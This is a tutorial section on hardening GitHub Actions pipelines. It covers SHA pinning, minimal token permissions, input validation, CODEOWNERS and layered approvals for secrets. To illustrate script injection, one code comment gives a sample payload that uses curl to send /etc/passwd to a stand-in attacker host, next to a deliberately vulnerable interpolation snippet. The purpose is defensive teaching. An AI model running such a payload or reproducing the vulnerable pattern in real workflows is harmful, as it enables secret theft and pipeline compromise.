Locking Down Your Pipelines
Beyond runner security, there are several workflow-level hardening practices that separate a secure pipeline from a vulnerable one.
1. Pin Actions to a full commit SHA
When you write uses: actions/checkout@v4, you are trusting that the v4 tag always points to safe code. Tags are mutable — a compromised maintainer or a supply chain attack could move the v4 tag to malicious code. Pinning to a full commit SHA instead of the tag is immutable — the reference can never be silently moved to different code.
Use a tool like dependabot with package-ecosystem: github-actions to automatically open PRs when pinned Actions have new versions, so you get security updates without sacrificing immutability.
2. Set minimum permissions at the workflow level
The GITHUB_TOKEN is automatically created for every workflow run. By default (in older repositories), it has broad write permissions. Always declare the minimum permissions your workflow needs at the top level — naming only the specific scopes required (like read access to repo contents and write access to post PR comments), leaving everything else implicitly denied.
3. Validate inputs in workflow_dispatch and workflow_call
If your workflow accepts user-provided inputs, treat them like untrusted data. Never interpolate inputs directly into run: commands — this is a script injection vulnerability:
# VULNERABLE — attacker can inject: "; curl attacker.com/steal?data=$(cat /etc/passwd)"
- run: echo "Deploying ${{ github.event.inputs.version }}"
# SAFE — pass as environment variable, shell handles escaping
- run: echo "Deploying $VERSION"
env:
VERSION: ${{ github.event.inputs.version }}
4. Use CODEOWNERS to protect workflow files
Add .github/workflows/ to your CODEOWNERS file, mapped to a designated security-aware team, so that any modification to workflow files requires their approval.
Interviewers at security-conscious companies often ask: "How do you prevent a developer from modifying a workflow to exfiltrate secrets?" The complete answer covers three layers: (1) CODEOWNERS requiring platform team approval for workflow changes, (2) branch protection rules requiring those approvals before merge, and (3) environment protection rules requiring human approval before any job can access production secrets. No single control is sufficient — defense in depth is the correct framing.